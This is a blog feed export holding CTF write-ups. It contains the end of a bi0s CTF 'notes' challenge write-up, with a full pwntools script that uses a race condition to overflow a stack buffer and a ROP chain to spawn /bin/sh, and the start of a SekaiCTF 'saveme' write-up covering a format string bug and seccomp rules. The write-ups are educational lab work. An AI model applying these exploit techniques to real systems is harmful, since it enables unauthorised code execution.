  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="n">shmem</span> <span class="o">+</span> <span class="mi">8</span><span class="p">,</span> <span class="mi">16LL</span><span class="p">);</span>
  <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="s">"Note Content: "</span><span class="p">,</span> <span class="mi">14LL</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">syscall</span><span class="p">(</span><span class="mi">1LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="n">shmem</span> <span class="o">+</span> <span class="mi">1054</span><span class="p">,</span> <span class="o">*</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">int</span> <span class="o">*</span><span class="p">)(</span><span class="n">shmem</span> <span class="o">+</span> <span class="mi">24</span><span class="p">));</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We can control rdi, so if we just pass a bss address, we can write 8 bytes into it using this <code class="language-plaintext highlighter-rouge">read(shmem, 8)</code>. Thankfully “/bin/sh\x00” is exactly 8 bytes.</p>

<p>After we can control these registers we can drop directly into a shell. Heres my full script:</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">time</span> <span class="kn">import</span> <span class="n">sleep</span>

<span class="n">pname</span> <span class="o">=</span> <span class="s">"./notes"</span>
<span class="n">context</span><span class="p">.</span><span class="n">log_level</span> <span class="o">=</span> <span class="s">"debug"</span>

<span class="k">def</span> <span class="nf">cmd</span><span class="p">(</span><span class="n">stuff</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">": "</span><span class="p">,</span> <span class="n">stuff</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">add</span><span class="p">(</span><span class="nb">id</span><span class="p">,</span> <span class="n">name</span><span class="p">,</span> <span class="n">size</span><span class="p">,</span> <span class="n">buf</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">": "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">))</span>
    <span class="n">cmd</span><span class="p">(</span><span class="nb">id</span><span class="p">)</span>
    <span class="n">cmd</span><span class="p">(</span><span class="n">name</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="s">": "</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">size</span><span class="p">))</span>
    <span class="n">cmd</span><span class="p">(</span><span class="n">buf</span><span class="p">)</span>

<span class="n">sc</span> <span class="o">=</span> <span class="s">'''
b *0x00401b81
b *0x00401795
c
'''</span>

<span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="n">pname</span><span class="p">)</span>
<span class="c1">#p = remote("pwn.chall.bi0s.in", 34973)
</span><span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">sc</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="c1"># 211:0x0000000000401bc2: syscall;
</span><span class="n">syscall</span> <span class="o">=</span> <span class="mh">0x0000000000401bc2</span> 

<span class="c1">## edit note stuff 
</span><span class="n">edits</span> <span class="o">=</span> <span class="mh">0x00401795</span>

<span class="c1"># bss buffer for our rdi:
</span><span class="n">bss_buf</span> <span class="o">=</span> <span class="mh">0x00000000404050</span>

<span class="n">alarm_plt</span> <span class="o">=</span> <span class="mh">0x401060</span>
<span class="c1"># 179:0x0000000000401bc0: pop rdi; ret;
</span><span class="n">rdi</span> <span class="o">=</span> <span class="mh">0x0000000000401bc0</span>

<span class="n">pload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">64</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">"C"</span><span class="o">*</span><span class="mi">8</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bss_buf</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">edits</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x3b</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">alarm_plt</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="mh">0x3b</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">alarm_plt</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">rdi</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">bss_buf</span><span class="p">)</span>
<span class="n">pload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">syscall</span><span class="p">)</span>

<span class="n">add</span><span class="p">(</span><span class="s">"A"</span><span class="p">,</span> <span class="s">"B"</span><span class="p">,</span> <span class="mi">60</span><span class="p">,</span> <span class="s">"ABCD"</span><span class="p">)</span>
<span class="n">sleep</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">add</span><span class="p">(</span><span class="s">"A"</span><span class="p">,</span> <span class="s">"B"</span><span class="p">,</span> <span class="mi">600</span><span class="p">,</span> <span class="n">pload</span> <span class="p">)</span>

<span class="n">sleep</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>
<span class="c1">## for calling edit in the rop
</span><span class="n">p</span><span class="p">.</span><span class="n">sendafter</span><span class="p">(</span><span class="s">"Note ID: "</span><span class="p">,</span> <span class="s">"//bin/sh"</span><span class="p">)</span>
<span class="c1">## may also be needed, threads are being weird - i think our heap note thread is intercepting our stdin &gt;:(.
#p.send("//bin/sh")
#p.send("//bin/sh")
</span>

<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Note: I sent “//bin/sh” because for some reason the first “/” wasnt sending properly. Still dont know why - it works tho.</p>

<h1 id="closing-thoughts">Closing thoughts</h1>

<p>This CTF was fun. I was expecting this challenge to be a lot more painful, but I guess thats just what CTF does to your brain lol.</p>

<p>Thanks for reading, see you again… Soon… Maybe :P.</p>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro Hey there. I got lazy with writeups again. This weekend i played bi0s CTF 2022/3 with team 1/0 (formerly zh3r0). I worked on the notes challenge for the time I was able to play. It was a fun challenge, introducing me to the shmget and shmat functions which I had never seen before and going back to basics with a good old race condition. Reversing Protections Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) No canary is certainly interesting. Theres almost certainly gonna be a buffer overflow in here somewhere… Functions Heres the main function: __int64 __fastcall main(__int64 a1, char **a2, char **a3) { pthread_t newthread; // [rsp+0h] [rbp-30h] BYREF pthread_t v5; // [rsp+8h] [rbp-28h] BYREF void *shmem; // [rsp+18h] [rbp-18h] int shmid; // [rsp+24h] [rbp-Ch] key_t key; // [rsp+28h] [rbp-8h] int i; // [rsp+2Ch] [rbp-4h] buffering(a1, a2, a3); art(); alarm(0x3Cu); key = getpid(); shmid = shmget(key, 0x800uLL, 950); if ( shmid == -1 ) { syscall(1LL, 1LL, "Error in shmget\n", 17LL); return 0LL; } else { shmem = shmat(shmid, 0LL, 0); if ( shmem != (void *)-1LL ) { memset(shmem, 0, 0x800uLL); *((_BYTE *)shmem + 29) = 0; if ( pthread_create(&amp;newthread, 0LL, wait_and_copy, shmem) ) syscall(1LL, 1LL, "Error in creating thread 1\n", 28LL); if ( pthread_create(&amp;v5, 0LL, start_heap_note, shmem) ) syscall(1LL, 1LL, "Error in creating thread 2\n", 28LL); for ( i = 0; i &lt;= 1; ++i ) pthread_join(*(&amp;newthread + i), 0LL); shmdt(shmem); shmctl(shmid, 0, 0LL); syscall(1LL, 1LL, "Done!\n", 6LL); exit(0); } syscall(1LL, 1LL, "Error in shmat\n", 16LL); return 0LL; } } Fairly simple, we set up buffering and the alarm stuff, then get our pid and call into shmget. Looking at the man page for this function we can see: int shmget(key_t key, size_t size, int shmflg); ... shmget() returns the identifier of the System V shared memory segment associated with the value of the ar‐ gument key. It may be used either to obtain the identifier of a previously created shared memory segment (when shmflg is zero and key does not have the value IPC_PRIVATE), or to create a new set. With key as our pid, and the fact that we have not called any shm functions before, we can assume that this call will create a new “shared memory segment” rather than reference an old one. So what is a shared memory segment? We can find the answer here: **Shared memory segments** System V shared memory allows processes to share a region a memory (a "segment"). Fairly obvious by the name, but this is a mechanism that allows multiple processes or threads to share some memory. After checking errors we drop into the else case and shmat. Looking at the same page we got the shared memory segment info from we can see: [shmat(2)](https://man7.org/linux/man-pages/man2/shmat.2.html) Attach an existing shared memory object into the calling process's address space. So this is the function that actually does the legwork. It returns an address which will be the start of our requested shared memory. After nulling out the memory we drop into 2 threads. After which we return. wait_and_copy void __fastcall __noreturn wait_and_copy(void *shmem) { while ( 1 ) { *((_BYTE *)shmem + 0x1C) = 0; while ( *((_BYTE *)shmem + 0x1C) != 1 ) ; copymem((__int64)shmem); *((_BYTE *)shmem + 0x1D) = 1; } } Pretty simple, we just wait until a variable at offset +0x1c is set to one, then call into copymem. Safe to assume this variable is a lock of some kind. After the call we set offset +0x1d to 1. Maybe also some kind of lock? copy_mem void *__fastcall copymem(__int64 shmem) { char dest[64]; // [rsp+10h] [rbp-40h] BYREF sleep(2u); if ( *(int *)(shmem + 0x18) &gt; 64 || *(int *)(shmem + 0x18) &lt; 0 ) { syscall(1LL, 1LL, "Size Limit Exceeded\n", 20LL); exit(0); } xormem(shmem); sleep(1u); syscall(1LL, 1LL, "Sent!\n", 6LL); return memcpy(dest, (const void *)(shmem + 0x41E), *(int *)(shmem + 0x18)); After sleeping for 2 seconds we check offset +0x18, making sure it is less than 64 and more than 0. If not we complain about the size limit, so i’m assuming this is the “size”. Next we xor the memory and sleep for another second. At this point is was fairly clear to me that this function is the bug - even though the stack buffer appears to be checked we have multiple threads, maybe there is some way to change the size during the second sleep? After this we copy into our stack buffer size bytes from our shared memory and return. The xormem function isnt particularly relevant. We just xor the contents of our shmem with ascii characters - this may sound like a massive problem, but it isnt - you’ll see soon enough. store_note In our other thread we start a heap-note like process in which we can create/edit/print various fields. However as my solution only uses a single one of these I will only cover said function, the rest is fairly self explanitory after you understand this anyway. __int64 __fastcall store_note(__int64 shmem) { __int64 result; // rax syscall(1LL, 1LL, "Enter Note ID: ", 15LL); read(shmem, 8LL); syscall(1LL, 1LL, "Enter Note Name: ", 17LL); read(shmem + 8, 16LL); syscall(1LL, 1LL, "Enter Note Size: ", 17LL); __isoc99_scanf("%d", shmem + 0x18); syscall(1LL, 1LL, "Enter Note Content: ", 20LL); read(shmem + 0x41E, *(unsigned int *)(shmem + 0x18)); result = shmem; *(_BYTE *)(shmem + 0x1C) = 1; return result; } Fairly easy to understand, we read in an id (8 bytes), name (16 bytes) and content (controlled size). From this we can assume the structure of our shmem: shmem+0x0 == note ID (0x8). shmem+0x8 == note name (0x10). shmem+0x18 == note size (0x4) shmem+0x1c == thread creation lock, has to be 1 before thread 1 (copy thread) can access (0x1). After we store a note, we “unlock” it by setting the creation lock to 1. Of course our other thread is spinning and checking this variable so when it switches over it can start copying memory into the stack buffer. Now that we have all this information, we can try exploiting it. Vulnerability The bug is a fairly obvious race condition, although i hate to call it a race condition because the amount of time the program sleep()s means we hit it basically every time. If we look back at the copymem function again with what we know about the store_note functionality now: void *__fastcall copymem(__int64 shmem) { char dest[64]; // [rsp+10h] [rbp-40h] BYREF sleep(2u); if ( *(int *)(shmem + 0x18) &gt; 64 || *(int *)(shmem + 0x18) &lt; 0 ) { syscall(1LL, 1LL, "Size Limit Exceeded\n", 20LL); exit(0); } xormem(shmem); sleep(1u); // [1] syscall(1LL, 1LL, "Sent!\n", 6LL); return memcpy(dest, (const void *)(shmem + 0x41E), *(int *)(shmem + 0x18)); One question comes to mind, what if we initially requested a note with a valid size, but as the program is sleeping at [1] we swap it out to a note with a much bigger size? This could allow you to overflow the buffer since the memcpy happens immediately afterwards. Since the sleep happens after xormem we also dont have to care about our shmem being corrupted since we replace it anyway. This looks like this in my solution script: add("A", "B", 60, "ABCD") sleep(2) add("A", "B", 600, pload ) We create a good note, wait 2 seconds for the first sleep, then after its passed the check and inside the second sleep, swap the contents to a rop payload. Since PIE is off we also have some gadgets to use. You may have also noticed the usage of the raw syscall function. This means we can use syscall instructions with no leaks, which is a massive plus. Exploitation Seeing what we have when we return into our ropchain from copymem, it looks pretty good. For execve, we need: rax == 0x3b [rdi] == “/bin/sh” [rsi] == 0 [rdx] == 0 Thankfully, rsi and rdx already point to nulls. This means we need to find a way to control rax and rdi. rax I couldnt find any suitable gadgets in the binary for rax, so I got a bit exotic. If we look at the man page for alarm, we can see: **alarm**() returns the number of seconds remaining until any previously scheduled alarm was due to be delivered, or zero if there was no previously scheduled alarm. We know that alarm can specify how long until SIGALRM is raised. So what if we did something like: Call alarm(0x3b) to set the the countdown to SIGALRM to 0x3b seconds. Call alarm again, this time 0x3b will be returned in rax exactly where it needs to be for our syscall. This is the method I used for controlling rax in my ropchain: pload += p64(rdi) pload += p64(0x3b) pload += p64(alarm_plt) pload += p64(rdi) pload += p64(0x3b) pload += p64(alarm_plt) rdi This is more obvious - I wanna find a way to write “/bin/sh” into the bss so i can reference it in my ropchain. Thankfully I can use some of the note editing functionality i skipped over earlier to achieve this: __int64 __fastcall edit_id_show(__int64 shmem) { syscall(1LL, 1LL, "Enter Note ID: ", 15LL); read(shmem, 8LL); syscall(1LL, 1LL, "Note Name: ", 11LL); syscall(1LL, 1LL, shmem + 8, 16LL); syscall(1LL, 1LL, "Note Content: ", 14LL); return syscall(1LL, 1LL, shmem + 1054, *(unsigned int *)(shmem + 24)); } We can control rdi, so if we just pass a bss address, we can write 8 bytes into it using this read(shmem, 8). Thankfully “/bin/sh\x00” is exactly 8 bytes. After we can control these registers we can drop directly into a shell. Heres my full script: ```python from pwn import * from time import sleep pname = “./notes” context.log_level = “debug” def cmd(stuff): p.sendafter(“: “, stuff) def add(id, name, size, buf): p.sendlineafter(“: “, str(1)) cmd(id) cmd(name) p.sendlineafter(“: “, str(size)) cmd(buf) sc = ‘’’ b *0x00401b81 b *0x00401795 c ‘’’ p = process(pname) #p = remote(“pwn.chall.bi0s.in”, 34973) gdb.attach(p, sc) sleep(1) 211:0x0000000000401bc2: syscall; syscall = 0x0000000000401bc2 edit note stuff edits = 0x00401795 bss buffer for our rdi: bss_buf = 0x00000000404050 alarm_plt = 0x401060 179:0x0000000000401bc0: pop rdi; ret; rdi = 0x0000000000401bc0 pload = b”A”64 pload += b”C”8 pload += p64(rdi) pload += p64(bss_buf) pload += p64(edits) pload += p64(rdi) pload += p64(0x3b) pload += p64(alarm_plt) pload += p64(rdi) pload += p64(0x3b) pload += p64(alarm_plt) pload += p64(rdi) pload += p64(bss_buf) pload += p64(syscall) add(“A”, “B”, 60, “ABCD”) sleep(2) add(“A”, “B”, 600, pload ) sleep(3) for calling edit in the rop p.sendafter(“Note ID: “, “//bin/sh”) may also be needed, threads are being weird - i think our heap note thread is intercepting our stdin &gt;:(. #p.send(“//bin/sh”) #p.send(“//bin/sh”)]]></summary></entry><entry><title type="html">SekaiCTF 2022 saveme writeup</title><link href="https://volticks.github.io/SaveMe-Writeup/" rel="alternate" type="text/html" title="SekaiCTF 2022 saveme writeup" /><published>2022-10-02T00:00:00+00:00</published><updated>2022-10-02T00:00:00+00:00</updated><id>https://volticks.github.io/SaveMe-Writeup</id><content type="html" xml:base="https://volticks.github.io/SaveMe-Writeup/"><![CDATA[<h1 id="intro">Intro</h1>

<p>Hello again, its been a while. Havent written anything recently mainly because I dont have anything to write about - im still playing ctf but most of the challenges I solve (or more likely, fail miserably to solve) don’t have anything that hasnt been discussed already at length - and in a 
much more entertaining and informative way than i could.</p>

<p>Today is different, though.</p>

<p>This weekend i played SekaiCTF with zh3r0. I only managed to solve a single pwn challenge - saveme. It was fairly unique - not as much as the other pwn challenges, though :P.</p>

<h1 id="the-challenge">The challenge</h1>
<p>Starting the binary we are greeted with a simple prompt:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>This is the message from flag:
------------------------------------------------------
| I got lost in my memory, moving around and around. |
| Please help me out!                                |
| Here is your gift: 0x7fff84b50a40                  |
------------------------------------------------------
[1] Save him
[2] Ignore
Your option: 
</code></pre></div></div>

<p>Already a stack leak, nice. Apparently <code class="language-plaintext highlighter-rouge">flag</code> has gotten lost somewhere in memory. We have the choice to either save him, or ignore him. Well, given that I’m playing ctf I dont have time for the problems of others at the moment, so we ignore:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Please leave note for the next person: 
</code></pre></div></div>

<p>We can leave a note for the next poor soul that comes by, okay. Which then gets printed back to us - of course.</p>

<h2 id="reversing">Reversing</h2>

<p>Checksec gives us:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[*] '/root/Documents/CTF/SekaiCTF22/saveme/saveme'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x3fc000)
</code></pre></div></div>

<p>Partial relro and no PIE generally makes a nice 1-2 combo - lets see if we can use this anywhere. The main function looks like this:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">main</span><span class="p">(</span><span class="n">__int64</span> <span class="n">a1</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">a2</span><span class="p">,</span> <span class="kt">char</span> <span class="o">**</span><span class="n">a3</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">__int64</span> <span class="n">choice</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-68h] BYREF</span>
  <span class="kt">char</span> <span class="n">format</span><span class="p">[</span><span class="mi">88</span><span class="p">];</span> <span class="c1">// [rsp+10h] [rbp-60h] BYREF</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [rsp+68h] [rbp-8h]</span>

  <span class="n">v6</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">choice</span> <span class="o">=</span> <span class="mi">0LL</span><span class="p">;</span>
  <span class="n">load_flag</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="n">a2</span><span class="p">,</span> <span class="n">a3</span><span class="p">);</span>
  <span class="n">alloc_mem_and_setup</span><span class="p">(</span><span class="n">format</span><span class="p">);</span>
  <span class="n">seccomp_start</span><span class="p">();</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"This is the message from flag:"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"------------------------------------------------------"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"| I got lost in my memory, moving around and around. |"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"| Please help me out!                                |"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"| Here is your gift: %p                  |</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">format</span><span class="p">);</span><span class="c1">// memory leak?</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"------------------------------------------------------"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"[1] Save him"</span><span class="p">);</span>
  <span class="n">puts</span><span class="p">(</span><span class="s">"[2] Ignore"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Your option: "</span><span class="p">);</span>
  <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%lld"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">choice</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">==</span> <span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Hmmm, so where should I start to go?"</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">else</span> <span class="k">if</span> <span class="p">(</span> <span class="n">choice</span> <span class="o">==</span> <span class="mi">2</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Please leave note for the next person: "</span><span class="p">);</span>
    <span class="n">__isoc99_scanf</span><span class="p">(</span><span class="s">"%80s"</span><span class="p">,</span> <span class="n">format</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="n">format</span><span class="p">);</span>                             <span class="c1">// fsb</span>
    <span class="n">putc</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="n">stdout</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Prett much what we would expect from out interactions. However there are a few intersting functions - and an obvious format string bug.</p>

<p>Lets take a look at <code class="language-plaintext highlighter-rouge">load_flag</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">load_flag</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">fd</span><span class="p">;</span> <span class="c1">// [rsp+Ch] [rbp-14h]</span>
  <span class="kt">void</span> <span class="o">*</span><span class="n">buf</span><span class="p">;</span> <span class="c1">// [rsp+10h] [rbp-10h]</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v3</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span>

  <span class="n">v3</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">buf</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x50uLL</span><span class="p">);</span>
  <span class="n">fd</span> <span class="o">=</span> <span class="n">open</span><span class="p">(</span><span class="s">"flag.txt"</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span> <span class="n">fd</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span> <span class="p">)</span>
  <span class="p">{</span>
    <span class="n">puts</span><span class="p">(</span><span class="s">"Cannot read flag!</span><span class="se">\n</span><span class="s">Exiting..."</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="o">-</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="n">read</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">buf</span><span class="p">,</span> <span class="mh">0x50uLL</span><span class="p">);</span>
  <span class="n">close</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">v3</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Nice, so no need to open the file ourselves - the flag will be stored on the heap, so once we get some kind of code execution it should be fairly easy to find. Now lets take a look into <code class="language-plaintext highlighter-rouge">alloc_mem_and_setup</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">alloc_mem_and_setup</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">a1</span><span class="p">)</span>
<span class="p">{</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+18h] [rbp-8h]</span>

  <span class="n">v2</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">memset</span><span class="p">(</span><span class="n">a1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mh">0x50uLL</span><span class="p">);</span>
  <span class="n">mmap</span><span class="p">((</span><span class="kt">void</span> <span class="o">*</span><span class="p">)</span><span class="mh">0x405000</span><span class="p">,</span> <span class="mh">0x1000uLL</span><span class="p">,</span> <span class="mi">7</span><span class="p">,</span> <span class="mi">34</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span><span class="c1">// rwx mem</span>
  <span class="k">return</span> <span class="n">v2</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Very interesting, it seems the author is giving us a not so subtle nudge that to reach the flag, we should be using shellcode.</p>

<p>Theres one more function that we should be interested in, <code class="language-plaintext highlighter-rouge">seccomp_start</code>:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">unsigned</span> <span class="n">__int64</span> <span class="nf">sub_4012BB</span><span class="p">()</span>
<span class="p">{</span>
  <span class="n">__int64</span> <span class="n">v1</span><span class="p">;</span> <span class="c1">// [rsp+0h] [rbp-10h]</span>
  <span class="kt">unsigned</span> <span class="n">__int64</span> <span class="n">v2</span><span class="p">;</span> <span class="c1">// [rsp+8h] [rbp-8h]</span>

  <span class="n">v2</span> <span class="o">=</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
  <span class="n">v1</span> <span class="o">=</span> <span class="n">seccomp_init</span><span class="p">(</span><span class="mi">0LL</span><span class="p">);</span>
  <span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="mi">2147418112LL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="mi">2147418112LL</span><span class="p">,</span> <span class="mi">1LL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">seccomp_rule_add</span><span class="p">(</span><span class="n">v1</span><span class="p">,</span> <span class="mi">2147418112LL</span><span class="p">,</span> <span class="mi">231LL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">seccomp_load</span><span class="p">(</span><span class="n">v1</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">v2</span> <span class="o">-</span> <span class="n">__readfsqword</span><span class="p">(</span><span class="mh">0x28u</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>So we setup some rules, we can see them clearer using seccomp-tools:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>oot in ~/Documents/CTF/SekaiCTF22/saveme λ seccomp-tools dump ./saveme 
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x07 0xc000003e  if (A != ARCH_X86_64) goto 0009
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A &lt; 0x40000000) goto 0005
 0004: 0x15 0x00 0x04 0xffffffff  if (A != 0xffffffff) goto 0009
 0005: 0x15 0x02 0x00 0x00000000  if (A == read) goto 0008
 0006: 0x15 0x01 0x00 0x00000001  if (A == write) goto 0008
 0007: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0009
 0008: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0009: 0x06 0x00 0x00 0x00000000  return KILL
</code></pre></div></div>

<p>So, we allow only the x86_64 syscalls for <code class="language-plaintext highlighter-rouge">read</code>, <code class="language-plaintext highlighter-rouge">write</code> and <code class="language-plaintext highlighter-rouge">exit_group</code>. This is fine though, because as we saw prior the flag is already in memory - so no need to <code class="language-plaintext highlighter-rouge">open</code> it a second time.</p>

<p>Now that we have a good idea of our situation, lets move on to exploitation.</p>

<h2 id="exploitation">Exploitation</h2>

<p>The important thing here is the scanf - we only get 80 chars of space. I tried a lot of different approaches.</p>

<p>The first was hijacking <code class="language-plaintext highlighter-rouge">putc@got</code> to return back into main to get more uses of the fsb this always resulted in either printf or scanf segfaulting in-function due to a mis-aligned stack. We can see in the instruction documentation for <a href="https://c9x.me/x86/html/file_module_x86_id_180.html">movaps</a> that <code class="language-plaintext highlighter-rouge">When the source or destination operand is a memory operand, the operand must be aligned on a 16-byte boundary or a general-protection exception (#GP) is generated.</code></p>

<p>This is generally the case for instructions that deal with floating points that require writing to a destination.</p>

